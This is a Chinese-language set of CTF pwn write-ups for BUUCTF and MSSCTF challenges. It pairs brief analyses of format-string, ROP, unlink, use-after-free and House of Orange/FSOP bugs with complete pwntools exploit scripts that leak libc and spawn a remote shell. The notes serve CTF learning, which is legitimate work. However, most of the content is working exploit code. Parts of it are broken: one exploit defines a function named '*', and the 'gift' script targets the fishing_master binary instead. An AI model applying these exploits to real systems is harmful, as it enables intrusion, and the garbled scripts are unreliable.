文章目录
- 保持手感
- wdb_2018_1st_babyheap
- houseoforange_hitcon_2016
- zctf_2016_note3
- gyctf_2020_document
- 护网杯_gettingstart
- picoctf_2018_buffer overflow 0
- XCTF-Mary_Morton
- gift
- fishing_master
保持手感
echo
分析
[*] '/root/echo'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
经典的echo字符串格式化漏洞题:
偏移:7
改GOT
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="i386"
isLocal=0
filename="/root/echo"
if isLocal:
p=process(filename)#
pause()
else :
p=remote("node4.buuoj.cn",26031)
elf=ELF(filename)
libc=ELF("./x86/libc-2.23_buuctf.so")
printf_got=elf.got["printf"]
system_addr=elf.plt["system"]
payload=fmtstr_payload(7,{printf_got:system_addr})
p.sendline(payload)
p.interactive()
Pwnme1
分析
关键栈溢出漏洞点(getfruit函数):
解法同pwnme2,栈溢出泄露libc方法
注意的点:
- 如果遇到泄露的got会崩溃问题,不妨换一个函数名,多试试
EXP
整体思路:
- 栈溢出ROP泄露libc
- 栈溢出ROP返回到任意地址getshell
from pwn import *;
context.log_level="debug"
context.arch="i386"
context.os="linux"
isLocal=0
libc=ELF("./x86/libc-2.23_buuctf.so")#ELF("/lib/i386-linux-gnu/libc-2.23.so")#
if isLocal:
p=process("/root/pwnme1")#
pause()
else :
p=remote("node4.buuoj.cn",27876)
elf=ELF("/root/pwnme1")
backdoor=0x804869D#0x8048677#
p.sendlineafter("Exit","5")
jmpasm=asm("jmp esp;")
shellcode=asm(shellcraft.sh())
flag_addr=0x08048938
modes_addr=0x08048931
pop_eax=0x08048184
xchg_eax_edx=0x08048189
main_addr=0x08048624#elf.sym["_start"]
printf_plt=elf.plt["puts"]
printf_got=elf.got["puts"]
payload =b"a"*(0xA4+4)+p32(printf_plt)+p32(main_addr)+p32(printf_got)
p.sendlineafter("input",payload)#一个个来不急 慢慢走 一步步来 gets遇到\n才会返回
p.recvuntil("...\n")
leak=u32(p.recv(4))
log.success(hex(leak))
libc_base=leak-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
sh_addr=0x804831D
payload =b"a"*(0xA4+4)+p32(system_addr)+p32(main_addr)+p32(sh_addr)
#注意修复ROP的返回地址,无论是x86还是x64,执行system参数可直接传字符串地址
p.sendlineafter("input",payload)
p.interactive()
wdb_2018_1st_babyheap
分析
保护情况:无PIE,got不可写
[*] '/root/wdb_2018_1st_babyheap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
关键漏洞点(UAF):
根据大佬WP提示,可以使用
- unlink
- __IO_File结构体的劫持
分析发现:
- free中存在uaf漏洞,同时有dump功能
- unlink后泄露libc地址
unlink_fakechunk的条件
- fake chunk header
- fake fd bk
- fake next header(覆写到需要释放的堆块块头)
笔记
在libc-xx.so
文件才有symbols
EXP
Unlink解法:
主要的知识点:
本题不是使用通常的堆溢出Unlink,而是用UAF后double free list的方法,修改fastbin地址,创建一个合法的fake chunk导致Unlink
整体思路:
- 构造unlink fake header
- 泄露heap地址
- DoubleFreeList任意创建堆地址到指定位置为实现unlink准备
- 构造fakechunk实现unlink
- 泄露unsorted bin地址,计算libc基地址
- unlink后实现的任意地址写
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/wdb_2018_1st_babyheap"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
else :
p=remote("node4.buuoj.cn",26666)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(idx,content):
ru("Choice:")
sl('1')
ru("Index:")
sl(str(idx))
ru("Content:")
sd(content)
def edit(idx,content):
ru("Choice:")
sl('2')
ru("Index:")
sl(str(idx))
ru("Content:")
sd(content)
def dump(index):
ru("Choice:")
sl('3')
ru("Index:")
sl(str(index))
def free(index):
ru("Choice:")
sl('4')
ru("Index:")
sl(str(index))
ptr=0x0000000000602060
fd=ptr-0x18
bk=ptr-0x10
#1.构造unlink fake header
malloc(0,p64(0x31)*4)#fixheader
malloc(1,p64(0x31)*4)
malloc(2,p64(0x31)*4)
malloc(3,p64(0x31)*4)
malloc(4,b"/bin/sh\x00\n")
free(1)
free(0)
#2.泄露chunk1地址
dump(0)#leak chunk1 addr
leak_heap_addr=u64(p.recv(4).ljust(8,b"\x00"))#0xnnnn30
log.info("leak heap addr=>{}".format(hex(leak_heap_addr)))
#3.DoubleFreeList任意创建堆地址到指定位置为实现unlink准备
free(1)#double free list 实际是一个任意地址写的作用(a<=>a),修改了a,就修改了申请堆地址.(实现堆溢出堆叠写)
#4.构造fakechunk实现unlink
malloc(5,p64(leak_heap_addr-0x20)+b"\n")#0xnnnn10(DoubleFree后修改了fastbin链表的一个地址)
malloc(6,b"a\n")
malloc(7,b"a\n")#cycle
payload = p64(fd)+p64(bk)+p64(0x20)+p64(0x90)#overlap chunk1 header
malloc(8,payload)
edit(0,p64(0)+p8(0x21)+b"\n")# fix chunk0 fake header
free(1)#unlink
#5.泄露unsorted bin地址,计算libc基地址
dump(8)#leak
leak=u64(p.recvuntil(b"\x7f").ljust(8,b"\x00"))
libc_base=leak-0x3c4b78
__free_hook=libc_base+libc.sym["__free_hook"]
system_addr=libc_base+libc.sym["system"]
#6.unlink后实现的任意地址写
payload=b"a"*0x18+p64(__free_hook)
edit(0,payload)
payload=p64(system_addr)+b"\n"
edit(0,payload)
free(4)
#WP:https://blog.****.net/weixin_46521144/article/details/120152352
#
p.interactive()
FSOP
FSOP解该题,动态调试复现:
原理是使程序溢出,进入_IO_Overflow
,报错依旧正常运行
0x7ff2e8627510
FSOP做法:
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=1
filename="/root/wdb_2018_1st_babyheap"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
else :
p=remote("node4.buuoj.cn",26666)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def add(index,content):
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
if(len(content) == 0x20):
p.send(content)
else:
p.sendline(content)
def edit(index,content):
p.recvuntil('Choice:')
p.sendline(str(2))
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content:')
if(len(content) == 0x20):
p.send(content)
else:
p.sendline(content)
def show(index):
p.recvuntil('Choice:')
p.sendline(str(3))
p.recvuntil('Index')
p.sendline(str(index))
def delete(index):
p.recvuntil('Choice:')
p.sendline(str(4))
p.recvuntil('Index')
p.sendline(str(index))
add(0,p64(0x31)*4)
add(1,p64(0x0)*2+p64(1)+p64(2))
add(2,p64(0x31)*4)
add(3,p64(0x31)*4)
add(4,p64(0)*4)
# leak heap_base
delete(1)
delete(0)
show(0)
heap_info = u64(p.recvline()[:-1].ljust(8,b'\x00'))
heap_info = (heap_info-0x0a)>>8
heap_base = heap_info-0x30
print("heap_base----->" + hex(heap_base))
edit(0,p64(heap_base+0x20))
add(5,p64(0))
add(6,p64(0)+p64(0x91))
add(7,p64(0)+p64(heap_base+0x10))
# debug()
delete(1)
show(1)
libc_base = u64(p.recvuntil('\x7f')[-6:].ljust(8,b'\x00'))
libc_base = libc_base-0x3c4b78
print("libc_base----->" + hex(libc_base))
edit(5,p64(0)*3+p64(libc_base+libc.sym['system']))
# fsop
edit(6,b'/bin/sh\x00'+p64(0x61)+p64(0)+p64(libc_base+libc.sym['_IO_list_all']-0x10))# set size to smallbin[4], unsortedbin attack
#gdb.attach(p,"b *0x4009A0")
p.recvuntil('Choice:')
p.sendline(str(1))
p.recvuntil('Index:')
p.sendline(str(8))
p.interactive()
houseoforange_hitcon_2016
分析
保护情况:全开
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
漏洞点:
读入长度的size位是无符号整数,可整数溢出
分析:
- 需要泄露libc
- 修改hook地址?没有free功能
- 该题是2堆模式
- 小堆存放2堆地址
- 堆内容
- 存在堆溢出漏洞,通过溢出覆盖泄露libc?
参考EXP:https://blog.****.net/weixin_44145820/article/details/105270036
前置知识
House_of_orange
根据题分析,本题是没有释放功能的,但是如果没有空闲的chunk我们难以获取libc地址,下面就介绍一种不需要释放就能得到unsored bin的办法
当我们申请一块内存时,malloc函数会检查各种bin,都不满足条件之后会检查top chunk是否满足,(由于本题的堆溢出使得我们可以修改topchunk的size),如果topchunk也不行,就需要调用sysmalloc来申请内存,而此时又分为brk 和 mmap两种方式
如果所需分配的 chunk 大小大于 mmap 分配阈值(默认为 128K,0x20000),就会调用mmap
所以我们分配的内存需要小于这个
然后来到下一个判断
assert((old_top == initial_top(av) && old_size == 0) ||
((unsigned long) (old_size) >= MINSIZE &&
prev_inuse(old_top) &&
((unsigned long)old_end & pagemask) == 0));
这里需要满足几个条件:
topchunk size > MINSIZE(0x10)
top chunk inuse位为1
修改之后的 size 必须要对齐到内存页
满足之后,top chunk就被free,从而进入unsorted bin
原文链接:https://blog.****.net/weixin_44145820/article/details/105270036
FSOP
在libc的_IO_list_all中,存放有一个_IO_FILE_plus结构体的指针,
如下图,它指向_IO_2_1_stderr_:
而_IO_FILE_plus结构体详细内容如下
其中_chain指向下一个_IO_FILE_plus结构体
在malloc中,它调用malloc_printerr来打印错误,经过一系列调用,最终来到
_IO_flush_all_lockp:
while (fp != NULL)
{
…
fp = fp->_chain;
...
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)
如果满足以下条件:
fp->_mode > 0
_IO_vtable_offset (fp) == 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
就会调用 _IO_OVERFLOW,并把结构体当做第一个参数传入
如果我们能够把 _IO_OVERFLOW改为system,并且伪造结构体,开头为/bin/sh,就能获得shell了
劫持_IO_OVERFLOW
EXP
from pwn import *
from LibcSearcher import *
r = remote("node3.buuoj.cn", 26548)
#r = process("./hitcon_2016_houseoforange")
context.log_level = 'debug'
DEBUG = 0
if DEBUG:
gdb.attach(r,
'''
b *$rebase(0x13CB)
c
x/10gx $rebase(0x203068)
''')
elf = ELF("./hitcon_2016_houseoforange")
libc = ELF('./libc/libc-2.23.so')
def add(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('1')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name :")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
def show():
r.recvuntil("Your choice : ")
r.sendline('2')
def edit(size, content, price, color):
r.recvuntil("Your choice : ")
r.sendline('3')
r.recvuntil("Length of name :")
r.sendline(str(size))
r.recvuntil("Name:")
r.send(content)
r.recvuntil("Price of Orange:")
r.sendline(str(price))
r.recvuntil("Color of Orange:") #1-7
r.sendline(str(color))
add(0x30,'aaaa\n',0x1234,0xddaa)
payload = 'a' * 0x30 +p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0) * 2 + p64(0xf81)
edit(len(payload), payload, 666, 0xddaa)
add(0x1000, 'a\n',0x1234, 0xddaa)
add(0x400, 'a' * 8, 199, 2)
show()
r.recvuntil('a'*8)
malloc_hook = u64(r.recvuntil('\x7f').ljust(8, '\x00')) - 0x668 - 0x10
success('malloc_hook = '+hex(malloc_hook))
libc.address = malloc_hook - libc.symbols['__malloc_hook']
io_list_all = libc.symbols['_IO_list_all']
system = libc.symbols['system']
payload = 'b' * 0x10
edit(0x10, payload, 199, 2)
show()
r.recvuntil('b'*0x10)
heap = u64(r.recvuntil('\n').strip().ljust(8, '\x00'))
heap_base = heap - 0xE0
success('heap = '+hex(heap))
#pause()
payload = 'a' * 0x400 + p64(0) + p64(0x21) + p32(666) + p32(0xddaa) + p64(0)
fake_file = '/bin/sh\x00'+p64(0x61)#to small bin
fake_file += p64(0)+p64(io_list_all-0x10)
fake_file += p64(0) + p64(1)#_IO_write_base < _IO_write_ptr
fake_file = fake_file.ljust(0xc0,'\x00')
fake_file += p64(0) * 3
fake_file += p64(heap_base+0x5E8) #vtable ptr
fake_file += p64(0) * 2
fake_file += p64(system)
payload += fake_file
edit(len(payload), payload, 666, 2)
#pause()
r.recvuntil("Your choice : ")
r.sendline('1')
r.interactive()
zctf_2016_note3
分析
保护情况:
[*] '/root/zctf_2016_note3'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
==>无PIE,GOT可写
动态调试笔记
在动态调试中,发现长度存放在堆数组的后面
第一个堆是当前操作的堆
本题思路与note2差不多,关键的漏洞点在edit_note的输入处for循环的i是无符号类型,len-1可被制造为-1,会造成整数溢出
整体利用思路
- 利用堆溢出漏洞制造unlink
- 泄露got表得到libc基地址、修改got表拿shell
EXP
整体思路:
- overflows(unsigned) to unlink(zero length)
- leak_libc
- free==>system
#coding=utf-8
from pwn import *
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/zctf_2016_note3"
if isLocal:
libc=ELF("/lib/x86_64-linux-gnu/ld-2.23.so")
p=process(filename)#,env={"LD_PRELOAD" : "/lib/x86_64-linux-gnu/ld-2.23.so"}
else :
p=remote("node4.buuoj.cn",29864)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):
if PIE:
text_base = int(os.popen("pmap {}| awk '{{print $1}}'".format(p.pid)).readlines()[1], 16)
gdb.attach(p,'b *{}'.format(hex(text_base+addr)))
else:
gdb.attach(p,"b *{}".format(hex(addr)))
pause()
def malloc(size,content):
ru("option--->>")
sl('1')
ru("Input the length of the note content:(less than 1024)")
sl(str(size))
ru("Input the note content:")
sd(content)
def edit(index,content):
ru("option--->>")
sl('3')
ru("Input the id of the note:")
sl(str(index))
ru("Input the new content:")
sd(content)
def free(index):
ru("option--->>")
sl('4')
ru("Input the id of the note:")
sl(str(index))
ptr=0x0000000006020C8
fd=ptr-0x18
bk=ptr-0x10
fake_chunk=p64(0)+p64(0xa1)#把自己当成top chunk(pre size=0)
fake_chunk+=p64(fd)+p64(bk)
malloc(0x80,fake_chunk+b"\n")
malloc(0,b"\n")
malloc(0x80,b"ccc\n")
malloc(0x8,b"ddd\n")
malloc(0x80,b"/bin/sh\x00\n")
malloc(0x80,b"/bin/sh\x00\n")
#1.overflows(unsigned) to unlink
free(1)#len-1=-1(unsigned i)
fake_chunk=b"A"*0x10+p64(0xa0)+p64(0x90)+b"\n"
malloc(0,fake_chunk)
free(2)
#2.leak_libc
free_got=elf.got["free"]
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
payload=b"a"*0x30+p64(free_got)+p64(puts_got)+b"\n"#chunk4=puts@got
edit(0,payload)
payload=p64(puts_plt)+b"\n"
edit(3,payload)
free(4)
leak=u64(p.recvuntil("\x7f")[-6:].ljust(8,b"\x00"))
libc_base=leak-libc.sym["puts"]
system_addr=libc_base+libc.sym["system"]
#3.free==>system
payload=p64(system_addr)+b"\n"
edit(3,payload)
free(5)
p.interactive()
gyctf_2020_document
分析
[*] '/root/gyctf_2020_document'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
UAF漏洞点:
堆题,整体特征
- 释放存在UAF漏洞
- 开PIE,GOT不可写,使用泄露Libc、覆写hook指针方法
EXP
整体思路:
- 泄露unsorted bin地址
- 制造堆叠
- 任意地址写(chunk3)
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/gyctf_2020_document"
if isLocal:
p=process(filename)#
libc=ELF("/lib/x86_64-linux-gnu/libc-2.23.so")
else :
p=remote("node4.buuoj.cn",25196)
libc=ELF("./x64/libc-2.23_buuctf.so")
elf=ELF(filename)
#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
def create(name, sex,info):
p.recvuntil('choice : ')
p.sendline('1')
p.recvuntil('input name')
p.send(name)
p.recvuntil("input sex")
p.send(sex)
p.recvuntil("input information")
p.send(info)
def dump(idx):
p.recvuntil('choice : ')
p.sendline('2')
p.recvuntil("index : ")
p.sendline(str(idx))
def edit(idx,YorN,info):
p.recvuntil('choice : ')
p.sendline('3')
p.recvuntil("index : ")
p.sendline(str(idx))
p.recvuntil("Are you sure change sex?")
p.send(YorN)
p.recvuntil("Now change information")
p.send(info)
def delete(idx):
p.recvuntil('choice : ')
p.sendline('4')
p.recvuntil("index : ")
p.sendline(str(idx))
#1.泄露unsorted bin地址
create("aaaaaaaa",'W','i'*112)#0
create("bbbbbbbb",'M','c'*112)#1
delete(0)
dump(0)
leak=u64((p.recvuntil("\x7f")[-6:]).ljust(8,b"\x00"))
log.warning("leak unsorted bin addr=>{}".format(hex(leak)))
libc_base=leak-0x3C4B78
libc.address=libc_base
__free_hook=libc.sym["__free_hook"]-0x10
_system_addr=libc.sym["system"]
create("/bin/sh\x00",'M','d'*112)#2
delete(1)
#2.制造堆叠
create("aaaacccc",'M','g'*112)#3 取了chunk0、1(合并)中的0x20
#all: 0x5643732320d0 —▸ 0x564373232020 —▸ 0x7f1e11dbcb78 (main_arena+88) ◂— 0x5643732320d0
#3.任意地址写(chunk3)
payload=p64(0)+p64(0x21)+p64(__free_hook)+p64(0x1)+p64(0)+p64(0x51)+p64(0)*8#堆叠导致任意地址写(chunk3的内容地址)
edit(0,'Y',payload)
payload=p64(_system_addr)+p64(0)*13
edit(3,'Y',payload)
delete(2)
p.interactive()
动态调试复现
2021.10.4新增笔记:
关键点:free了chunk0和1的内容堆,chunk3创建使用了chunk0、1合并后的内容堆,导致修改chunk0内容可任意改写到chunk3的地址堆
攻击核心(任意写):程序将堆地址存放在了一个小堆(0x8)大小内,覆写它即可。
当进行操作:
- 创建2个chunk(0、1)
- 删除chunk0
- 创建1个chunk(2)
- 删除chunk1
- 创建1个chunk(3)
此时,0x50的偏移刚好存放chunk3的字符串地址(0xe0)
一旦修改chunk0,我们就可以达到任意地址写。
为什么?
chunk0内存指向: 0x55f3035aa060 —▸ 0x55f3043c6010 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170
由于程序存在UAF漏洞,同时有且仅仅释放了小堆内的字符串地址(只释放0x90、留下0x20)
在下一次申请时,程序会刚好从0x90(字符串堆)取 0x20 大小当做(0x8)堆地址存放小堆
所以肯定是会造成堆叠的。
堆数组
00:0000│ 0x55f3035aa060 —▸ 0x55f3043c6010 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170 ◂— 0x68732f6e69622f /* '/bin/sh' */
01:0008│ 0x55f3035aa068 —▸ 0x55f3043c60c0 —▸ 0x55f3043c60e0 ◂— 0x68732f2f6e69622f ('/bin//sh')
02:0010│ 0x55f3035aa070 —▸ 0x55f3043c6030 —▸ 0x55f3043c6170 ◂— 0x68732f6e69622f /* '/bin/sh' */
03:0018│ 0x55f3035aa078 —▸ 0x55f3043c6050 —▸ 0x55f3043c60e0 ◂— 0x68732f2f6e69622f ('/bin//sh')
堆内存
+0030 0x55f3043c6030 70 61 3c 04 f3 55 00 00 01 00 00 00 00 00 00 00 │pa<.│.U..│....│....│
+0040 0x55f3043c6040 69 69 69 69 69 69 69 69 21 00 00 00 00 00 00 00 │iiii│iiii│!...│....│
+0050 0x55f3043c6050 e0 60 3c 04 f3 55 00 00 01 00 00 00 00 00 00 00 │.`<.│.U..│....│....│
e0 60 3c 04 f3 55 00 00为chunk3字符串地址,0x55f3043c6050为小堆地址
分析整体情况:
- 0、1我们已经释放,2、3是可改的
- 刚好chunk3的字符串地址存放在刚刚释放的堆(0x50),我们edit(0)就从0x40开始,刚好可以覆写存放字符串地址的小堆
总结:
- 关键是分析整体程序结构
- 0x20大小存放了字符串地址
- 0x90大小存放了自定义内容
这样的结构,只要改写了0x20里内容,就相当于实现任意地址写
因为(0x20–>0x90)
护网杯_gettingstart
分析
题目不难,主要考察对小数在内存中储存的理解
动态调试后,答案已经在内存中显示了
[[UCOMISD]]汇编指令:—无序比较标量双精度浮点值并设置EFLAGS
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=0
filename="/root/2018_gettingStart"
if isLocal:
p=process(filename)#
#pause()
else :
p=remote("node4.buuoj.cn",25562)
elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")
payload=b"a"*0x18+p64(0x7FFFFFFFFFFFFFFF)+p64(0x3FB999999999999A)
p.sendline(payload)
p.interactive()
picoctf_2018_buffer overflow 0
分析
ssh题,传参学习
p.process(['./vuln',payload])
传入payload作为参数
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="i386"
isLocal=0
filename="./PicoCTF_2018_buffer_overflow_0"
if isLocal:
p=process(filename)#
else :
p=ssh(user="CTFMan",host="node4.buuoj.cn",port=29059,password="guest")
#/home/CTFMan
flag_addr=0x0804A080
print_plt=0x080486BC
payload=b"a"*(0x18+4)+p32(print_plt)+p32(flag_addr)
sh = p.process(['./vuln',payload])
sh.interactive()
p.interactive()
XCTF-Mary_Morton
分析
热身
非常基础的栈溢出、字符串格式化漏洞的题目:
字符串格式化漏洞:
栈溢出漏洞:
后门函数:
同时程序有canary保护,基本的解题思路:
- 通过格式化字符串泄露canary
- 构造栈溢出payload到后门
调试笔记
canary:%23$p
canary的填充位置可以直接在IDA的变量表看到
EXP
#coding=utf-8
from pwn import *
from LibcSearcher import LibcSearcher
context.log_level="debug"
context.arch="amd64"
isLocal=1
filename="/root/Mary_Morton"
if isLocal:
p=process(filename)#
#pause()
else :
p=remote("node4.buuoj.cn",28829)
elf=ELF(filename)
libc=ELF("./x64/libc-2.23_buuctf.so")
def Format_string_bug(payload):
p.recvuntil("battle")
p.sendline("2")
p.sendline(payload)
def *(payload):
p.recvuntil("battle")
p.sendline("1")
p.sendline(payload)
backdoor=0x00000000004008DA
Format_string_bug("%23$p")
p.recvuntil("0x")
leak=int(p.recv(16),16)
payload=b"a"*(0x88)
payload+=p64(leak)#[rbp-8h] canary
payload+=p64(0)#rbp
payload+=p64(backdoor)
*(payload)
p.interactive()
EXP
gift
分析
MSSCTF_2020 降维攻击
C++写的类似堆的菜单题
保护情况:
[*] '/root/gift'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
简单的进行静态分析一下,可以发现,程序是一道堆题,并且有UAF的漏洞、后门
程序创建堆块后,会将输出函数地址的类放到堆上
(一旦我们将这个地址改成对应后门函数的偏移,再调用输出函数即可getshell)
UAF漏洞出(释放后未清零)
- 无PIE
- 可写GOT
- 有后门函数
- 输出函数在堆上
经典的[[UAF]]
动态调试发现的特征:
- 堆块创建的大小存放固定为一个,且大小为0x30(48)
- 释放后未清零ptr
- 调用的函数为堆内地址+8
整体思路:
- 正常创建
- 释放、重新创建同大小堆实现UAF覆写函数地址
注意的点:
- 要将UAF利用起来,需要创建回原来大小的堆块
EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/fishing_master"
p=remote("pwn.archive.xdsec.chall.frankli.site",10029)
libc=ELF("./x64/libc-2.23_mssctf.so")
#p=process(name)#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
elf=ELF(name)
def create(name,age):
p.recvuntil("5. exit.")
p.sendline("1")
p.sendlineafter("name",name)
p.sendlineafter("age",str(age))
def show():
p.recvuntil("5. exit.")
p.sendline("2")
def delete():
p.recvuntil("5. exit.")
p.sendline("3")
def leavemsg(len,msg):
p.recvuntil("5. exit.")
p.sendline("4")
p.sendlineafter("long",str(len))
p.sendlineafter("content",msg)
goal=0x401E58-8
create("ch1lc4t",19)#0x30
delete()
leavemsg(0x30,p64(goal))
show()
p.interactive()
fishing_master
分析
搞完两个月pwn回来看mssctf的pwn简直是降维攻击…
保护情况:全开
静态分析一下,关键漏洞点:
有任意地址写的漏洞(代码逻辑有问题,未加地址符、加地址符结合起来可实现任意地址写)
同时有一个8字节的格式化字符串漏洞:
利用思路假设:
- 泄露libc(字符串格式化)
- read任意地址写逻辑漏洞
- 不可写GOT?=>可直接劫持libc内的hook函数
整体思路:
- 利用
printf
泄露libc - 任意写hook地址
笔记:
- 在无法修改ELF的GOT情况下(Full Relro),可以修改libc内的hook地址
- 题目的
hook
和free
函数提示了要对free做手脚
EXP
from pwn import *
context.log_level="debug"
context.arch="amd64"
name="/root/fishing_master"
p=remote("pwn.archive.xdsec.chall.frankli.site",10094)
libc=ELF("./x64/libc-2.23_mssctf.so")
#p=process(name)#ELF("/lib/x86_64-linux-gnu/libc-2.23.so")#
elf=ELF(name)
p.recvuntil("tell me your name, and maybe i will teach you how to fish if i like it.")
p.sendline("sh\x00")
p.recvuntil("friendship")
p.sendline("%13$p")
p.recvuntil("0x")
leak=int(p.recv(12),16)#start -240
libc_base=leak-libc.sym["__libc_start_main"]-240
free_got=libc_base+libc.sym["__free_hook"]#
system_addr=libc_base+libc.sym["system"]
pause()
p.recvuntil("What do you think of this new fish hook?")
p.send(p64(free_got))
p.recvuntil("i do know you will like it, i hope it can make you a master of fishing.")
p.send(p64(system_addr))
p.interactive()